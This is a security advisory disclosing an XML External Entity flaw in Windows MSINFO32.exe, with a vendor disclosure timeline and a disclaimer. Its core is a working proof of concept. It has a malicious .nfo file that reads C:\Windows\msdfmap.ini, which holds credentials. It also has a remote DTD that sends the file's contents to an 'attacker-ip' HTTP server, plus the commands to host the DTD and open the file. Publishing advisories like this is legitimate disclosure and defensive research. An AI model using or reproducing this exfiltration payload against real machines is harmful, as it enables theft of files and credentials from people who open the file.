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Microsoft MSINFO32.EXE ".NFO" Files XML External Entity

[+] Credits: John Page aka hyp3rlinx	

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-MSINFO32-XXE-FILE-EXFILTRATION.txt

[+] ISR: ApparitionSec


Windows System Information
MSINFO32.exe v6.1.7601

Windows MSINFO32.EXE Displays a comprehensive view of your hardware, system components, and software environment.

FileName   : Specifies the file to be opened. This can be an .nfo, .xml, .txt, or .cab file.

Vulnerability Type:
XML External Entity

CVE Reference:

Vulnerability Details:

Microsoft Windows MSINFO32.exe is vulnerable to XML External Entity attack which can potentially allow remote attackers to 
gain access to and exfiltrate files from the victims computer if they open a malicious ".nfo" file via remote share / USB etc.

Upon open the file user will see error message like "System Information is unable to open this .nfo file. The file might
be corrupt etc..

Tested Windows 7 SP1

Exploit code(s):

Access and exfiltrate Windows "msdfmap.ini" file as trivial POC.
This file contains credentials for MS ADO Remote Data Services.

1) python -m SimpleHTTPServer 8080 (runs on attacker-ip / hosts payload.dtd)

2) "payload.dtd"

<?xml version="1.0" encoding="UTF-8"?>

<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker-ip:8080?%file;'>">


3) "FindMeThatBiatch.nfo" (corrupt .NFO file)

<?xml version="1.0"?>
<!ENTITY % file SYSTEM "C:\Windows\msdfmap.ini">
<!ENTITY % dtd SYSTEM "http://attacker-ip:8080/payload.dtd";>

Double click to open FindMeThatBiatch.nfo, user gets error MSINFO32 opens... attacker gets files.

OR open via Windows CL:
c:\>msinfo32  \\REMOTE-SHARE\FindMeThatBiatch.nfo

Disclosure Timeline:
Vendor Notification: September 4, 2016
Vendor Reply "not meet the bar for security servicing": September 7, 2016
December 4, 2016  : Public Disclosure

Exploitation Technique:

Severity Level:

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere.